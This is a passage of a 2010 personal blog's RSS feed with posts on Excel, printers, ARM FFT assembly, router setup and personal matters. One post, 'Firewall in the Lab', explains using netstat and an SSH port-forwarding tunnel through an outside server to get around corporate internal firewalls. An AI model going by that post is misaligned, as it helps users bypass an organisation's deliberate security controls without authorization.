&lt;a href="http://feedads.g.doubleclick.net/~a/35RV38hYb5MlU4qQtv8LvvQ15wU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/35RV38hYb5MlU4qQtv8LvvQ15wU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/mLzmnf0F2zU/access-nfs-through-windows-service-for.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/06/access-nfs-through-windows-service-for.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-2371858772793031215</guid><pubDate>Thu, 10 Jun 2010 05:23:00 +0000</pubDate><atom:updated>2011-05-19T20:33:21.528-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><title>DEC2HEX() in Microsoft Excel 2003</title><description>&lt;div&gt;---- Limerick Practice On ----&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The once almighty MS Empire is on a slippery slope to become irrelevant. It has missed the boat for web search. Its Window Mobile is now the laughing stock of iPhone. IE is plagued with mediocre performance and security loopholes. Windows and Office fall the victim of their own success. The world of desktop is under attack from all sides.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;But still, like many computer users in this world, I am using Windows XP + Office 2007. Despite all the mistakes it has made, MS is still the king of PC desktop.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;---- Limerick Practice Off ----&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Recently, I've found that the function of DEC2HEX is not working properly in Excel 2003 (I could not even find it in the function list, but it can be easily located in Excel 2007.) If you try to use this function, it will give you something like "#NAME!"&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And the answer to this conundrum can be found in Ref[1]. In a nutshell, you need to enable some add-in before you can use this function. Who is the PM that made the decision for this setting?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;References:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[1] &lt;a href="http://www.excelfunctions.net/Excel-Dec2Hex-Function.html"&gt;The Excel DEC2HEX Function&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-2371858772793031215?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7xkXw0UJs4CNBEhxFaObcpMm4D4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7xkXw0UJs4CNBEhxFaObcpMm4D4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7xkXw0UJs4CNBEhxFaObcpMm4D4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7xkXw0UJs4CNBEhxFaObcpMm4D4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/AQaKHsGes_k/dec2hex-in-microsoft-excel-2003.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/06/dec2hex-in-microsoft-excel-2003.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-1964133374359098530</guid><pubDate>Sun, 06 Jun 2010 01:27:00 +0000</pubDate><atom:updated>2011-05-20T13:59:04.908-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Windows</category><title>Firewall in the Lab</title><description>&lt;div&gt;IT departments in big corporations are usually risk-averse. As a result, lab PCs are surrounded by internal firewalls to prevent nerd engineers from wrecking any damage to corporation network. This could be a problem if the corporate wide license server is in a different domain, while the correspondent software is used in the lab.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To overcome this, first you have to find out what ports your software is using. You can find this out by running the software on some machine outside the lab, and type in:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;netstat -a -p tcp&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;to see the ports used.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Secondly, you have to find a server outside the lab as your tunnel server. In the lab, you can use ssh tunnel by simply login to the tunnel server. For matlab case, you need two -L options since it needs to two ports to connect to the server. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;ssh -L port1:license_server_name:port1 -L port2:license_server_name:port2 ssh_tunnnel_server_name&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And use your local server (127.0.0.1) as your license server.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;References:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[1] &lt;a href="http://www.mathworks.com/support/solutions/en/data/1-1A4CF/index.html?solution=1-1A4CF" target="_blank"&gt;Why do I receive a FLEXlm error -15, "Winsock" when trying to start MATLAB?&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-1964133374359098530?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ESUzjktpDda-DFpl8tWHzLpFSBs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ESUzjktpDda-DFpl8tWHzLpFSBs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ESUzjktpDda-DFpl8tWHzLpFSBs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ESUzjktpDda-DFpl8tWHzLpFSBs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/nj4dqI4vGNY/firewall-in-lab.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/06/firewall-in-lab.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-94400684349162631</guid><pubDate>Wed, 19 May 2010 19:12:00 +0000</pubDate><atom:updated>2011-05-20T14:39:56.836-07:00</atom:updated><title>E Pluribus Unum</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_rkEa-2r5Was/S_Q4z6IDosI/AAAAAAAAABs/H8pxA7ZpNik/s1600/my_us_flag.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 210px;" src="http://1.bp.blogspot.com/_rkEa-2r5Was/S_Q4z6IDosI/AAAAAAAAABs/H8pxA7ZpNik/s400/my_us_flag.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5473061911589528258" /&gt;&lt;/a&gt;&lt;br /&gt;We the People of the United States ... &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-94400684349162631?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0Xw_YB_gFfT1UcKfmddJkRbB5Xc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0Xw_YB_gFfT1UcKfmddJkRbB5Xc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0Xw_YB_gFfT1UcKfmddJkRbB5Xc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0Xw_YB_gFfT1UcKfmddJkRbB5Xc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/Ek9LaddN-3I/e-pluribus-unum.html</link><author>noreply@blogger.com (HAx4)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_rkEa-2r5Was/S_Q4z6IDosI/AAAAAAAAABs/H8pxA7ZpNik/s72-c/my_us_flag.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/05/e-pluribus-unum.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-3518376169518254852</guid><pubDate>Thu, 06 May 2010 04:55:00 +0000</pubDate><atom:updated>2011-05-20T13:59:34.323-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><title>HP F4400</title><description>&lt;div&gt;My HP 940C has quitted on me out of a loose belt. Too bad I still have 2 #15 cartridges left. Moral of the story: Some parts of your body could outlive your heart. So use them when you still can.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The replacement is a HP F4400 (Scanner, printer combo). It is a decent piece of hardware for 59 bucks. I'm wondering how HP could make money by $59 a pop. I guess they must make it up by selling more printer supplies. Its #60 black cartridge costs about $13 in Warmart.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One thing I don't like about HP software is that they always try to outsmart you by automatically checking your region and language setting and installing the correspondent language pack without your acknowledge. Don't they know English is the de facto international language?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In terms of print quality, F4400 has cranked it up by a notch. Kudos to HP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And I like the Greeting Card Factory (Photo Card Maker, complimentary)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-3518376169518254852?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/W_s9SgdCrNmwtYtCii5WVwDAfqg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/W_s9SgdCrNmwtYtCii5WVwDAfqg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/W_s9SgdCrNmwtYtCii5WVwDAfqg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/W_s9SgdCrNmwtYtCii5WVwDAfqg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/a3QmJJG2EQM/hp-f4400.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/05/hp-f4400.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-2119043633703219815</guid><pubDate>Tue, 06 Apr 2010 04:55:00 +0000</pubDate><atom:updated>2011-05-20T14:00:06.512-07:00</atom:updated><title>RIP, Mr. Wang</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_rkEa-2r5Was/S7q_KDArSMI/AAAAAAAAABk/0NlY-a6FyOg/s1600/signature_wangjiangmin.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 292px; height: 172px;" src="http://4.bp.blogspot.com/_rkEa-2r5Was/S7q_KDArSMI/AAAAAAAAABk/0NlY-a6FyOg/s320/signature_wangjiangmin.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5456884077840517314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Mr. Jiangmin Wang, one of my role models, passed away today. I always respect him for his gumption and perseverance. His departure has left big shoes to fill.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p class="MsoNormal"&gt;&lt;a href="http://tech.163.com/special/00094A2U/jiangmin0405.html"&gt;http://tech.163.com/special/00094A2U/jiangmin0405.html&lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-2119043633703219815?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ERfZZ3SE1MDcCCPzdQyXurgb0lA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ERfZZ3SE1MDcCCPzdQyXurgb0lA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ERfZZ3SE1MDcCCPzdQyXurgb0lA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ERfZZ3SE1MDcCCPzdQyXurgb0lA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/SG_hPWi14qs/rip-mr-wang.html</link><author>noreply@blogger.com (HAx4)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_rkEa-2r5Was/S7q_KDArSMI/AAAAAAAAABk/0NlY-a6FyOg/s72-c/signature_wangjiangmin.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/04/rip-mr-wang.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-2128449104695887830</guid><pubDate>Sun, 28 Feb 2010 04:05:00 +0000</pubDate><atom:updated>2011-05-20T14:00:27.070-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><category domain="http://www.blogger.com/atom/ns#">Software</category><category domain="http://www.blogger.com/atom/ns#">Embedded Systems</category><title>ARM FFT in Assembly</title><description>&lt;div&gt;ARM has provided a folder under RVDS 4.0 installation path that contains the assembly code for FFT, which covers almost all the FFT scenarios, including the odd ones like radix = 3 (Can radix be 3 for FFT?). It supports both V4 and V5TE instruction set. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However it would be useful only if you know how to set it up. For some reason, ARM did not do a good job to document this assembly code. And it took me a while to sort it out :&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(1)&lt;span class="Apple-style-span" style="white-space: pre;"&gt; &lt;/span&gt;First of all, you need to determine the FFT length and the data format you are gonna use. Assume you are gonna use 16 bit complex number and N = 1024&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For 16 bit complex number, each point should be like:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;typedef struct { INT16 x, y; } comp16;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(2)&lt;span class="Apple-style-span" style="white-space: pre;"&gt; &lt;/span&gt;Goto "C:\Program Files\ARM\RVDS\Examples\4.0\77\windows\fft_v5te", open the file fft_main.s under "fft_asm" folder, at the end of the file, you will find a bunch of "GENERATE_FFT_FUNCTION", which are macros to generate correspondent FFT functions for different scenarios. Only keep the one that fits your needs and comment out the rest. If will save you significant amount of memory space by doing do.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(3) &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Now you need to determine the function name for your FFT scenario. The assembly would generate your FFT function name in the following naming convention:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;FFT_$radix.$direction.$qname.$intype.$outpos.$prescale&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For example, if your FFT is radix = 4, forward, 16 bit integer, different in/out buffer, no pre-scaling, your FFT function would be "FFT_4EFQ14". Please refer to fft_mac.h under "fft_asm" folder for detail of the parameter definition.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So your FFT function would be something like:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;typedef int fFFT16(comp16 *input, comp16 *output, int N);&lt;/div&gt;&lt;div&gt;extern fFFT16 FFT_4EFQ14;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;&lt;/span&gt;......&lt;/div&gt;&lt;div&gt;FFT_4EFQ14 (input_buffer, output_buffer, 1024); // actual FFT operation&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;  &lt;/div&gt;&lt;div&gt;(4) &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Also you need to generate the twiddle table for your FFT. Use gcc or VC++ to open the file gentable.c under "tables" folder, compile and run it. It will prompt you for the parameters regarding your FFT scenario, and generate a file like t_01024_4.c for you (depending on the parameters, the file name might be different). If you have a FFT with odd radix or length, you might also need to have the "t_rad.c" file.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Open the twiddle table you've just generated, only keep the table you that fits your FFT scenario and remove the rest. The table bears the name like t_QxxS_radix or t_QxxR_radix. Here the S and R have something to do with "coeforder", whose definition can be found in fft_mac.h as well. For our 1024 point, 16 bit FFT case, if the ARM architecture is no less than version 5, it should be R. So we should keep the table "t_Q14R_4" only.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now put all the files together (all the files under "fft_asm" folder, plus the twiddle table you've generated) and you are good to go!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There is no doubt that those who composed this piece of FFT code are artful engineers. However, I do have a few notes on how the test program was written. After all the convoluted test set up in the testfft.c provided by ARM, I don't see how these "enum" type would help in any meaningful way. Correct me if I am wrong, but my understanding is that those "enum" types are mostly for the test program itself. Sadly the example test only gives out tests for floating format. I couldn't find any example that shows how to use 16 bit fixed-point.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Also the way function name is provided is kind sneaky. Although it is very clever to do this in assembly, such practice could really use some good documents.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-2128449104695887830?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HHGrlVH0d03LzcuPA8xA2ku10Dw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HHGrlVH0d03LzcuPA8xA2ku10Dw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HHGrlVH0d03LzcuPA8xA2ku10Dw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HHGrlVH0d03LzcuPA8xA2ku10Dw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/7SKht2jxDhg/arm-fft-in-assembly.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/02/arm-fft-in-assembly.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-911220168473392998</guid><pubDate>Fri, 26 Feb 2010 05:45:00 +0000</pubDate><atom:updated>2011-05-20T14:00:34.131-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech</category><title>Bellmann HomeAccess 710 NAT/DHCP/IPTV setup</title><description>&lt;div&gt;Notes on Bellmann HomeAccess 710 router setup (working with Huawei EC1308 IPTV set top box, NAT/DHCP for Internet access.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;*) It is next to impossible to find user manual on &lt;a href="http://www.bellmann.com.cn/" target="_blank"&gt;Bellman's website&lt;/a&gt;. I don't know who should be blamed for this. It is just another circumstantial evidence that state owned enterprise is flat-footed and bound to fail.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;*) HomeAccess 710's web utility has some inconsistency for certain option, and it would stubbornly stick with those options even if you prod the hard-reset hole on the back with a pin. I suggest you load the setup file provided &lt;a href="http://sites.google.com/site/rabbitholehax4/HomeAccess710.conf"&gt;here&lt;/a&gt; if you are having trouble with web utility. (This setup file chooses 8/85 for IPTV and 8/35 for Internet. The actual port could be different in your area. You also need to type in your username and password.)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;*) Go to Ref [1] for detailed explanation of tech terms&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;References:&lt;br /&gt;[1] &lt;a href="http://www.dslreports.com/faq/1416" target="_blank"&gt;What are PPPoA, PPPoE, and Bridged Connections, AT&amp;amp;T Southeast Forum FAQ&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-911220168473392998?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/sqKZzlYLOhxYZOqaNOeHv2nEcsM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sqKZzlYLOhxYZOqaNOeHv2nEcsM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/sqKZzlYLOhxYZOqaNOeHv2nEcsM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/sqKZzlYLOhxYZOqaNOeHv2nEcsM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/0VSvjwyEh4U/bellmann-homeaccess-710-natdhcpiptv.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/02/bellmann-homeaccess-710-natdhcpiptv.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-3830332455140854984</guid><pubDate>Tue, 23 Feb 2010 05:06:00 +0000</pubDate><atom:updated>2011-05-20T14:00:40.514-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>Silver Line Noodle</title><description>&lt;div&gt;Boil in the water for 10 minutes. Add salt and MSG. Suggested side wishes are ...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ok, what I'm trying to say is :&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;HAPPY 18th BIRTHDAY, Darling!!!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-3830332455140854984?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0tM3VIuxmSEoa9bVJNyH310qW_Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0tM3VIuxmSEoa9bVJNyH310qW_Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0tM3VIuxmSEoa9bVJNyH310qW_Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0tM3VIuxmSEoa9bVJNyH310qW_Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/NC8tIudbsSc/silver-line-noodle.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>2</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/02/silver-line-noodle.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-3381149187686955957</guid><pubDate>Mon, 22 Feb 2010 05:02:00 +0000</pubDate><atom:updated>2011-05-20T14:01:07.947-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>Hacking Attack from Shanghai Jiaotong University</title><description>I know those talented minds in my alma mater are capable of doing a lot of things, but hacking is not one of them. Besides, it is very rare for hackers to launch attack from their own servers. I believe those young talents are well above that level of sophistication. It would be a big shame for them to present so bluntly.&lt;br /&gt;&lt;br /&gt;I suggest New York Times to put its piece (Ref [1]) to rest.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;br /&gt;[1] &lt;a href="http://www.nytimes.com/2010/02/22/technology/22cyber.html" target="_blank"&gt;Hacking Inquiry Puts China’s Elite in New Light, New York Times, 02/21/2010&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-3381149187686955957?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mgnEViqSGtPWTYlkNgCu_SU5COk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mgnEViqSGtPWTYlkNgCu_SU5COk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mgnEViqSGtPWTYlkNgCu_SU5COk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mgnEViqSGtPWTYlkNgCu_SU5COk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/uPLL8PjXGkI/hacking-attack-from-shanghai-jiaotong.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/02/hacking-attack-from-shanghai-jiaotong.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7033598.post-735884121405224000</guid><pubDate>Wed, 03 Feb 2010 07:26:00 +0000</pubDate><atom:updated>2011-05-20T14:01:14.832-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Limerick</category><title>Han Han's Speech at Xiamen University</title><description>&lt;i&gt;Patriotism is the last refuge of a scoundrel.&lt;/i&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/gZXVSC5cKbs&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/gZXVSC5cKbs&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt; &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/broCGoXC7XE&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/broCGoXC7XE&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Links on Youku:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://v.youku.com/v_show/id_XMTQ5NTQzOTIw.html"&gt;http://v.youku.com/v_show/id_XMTQ5NTQzOTIw.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br 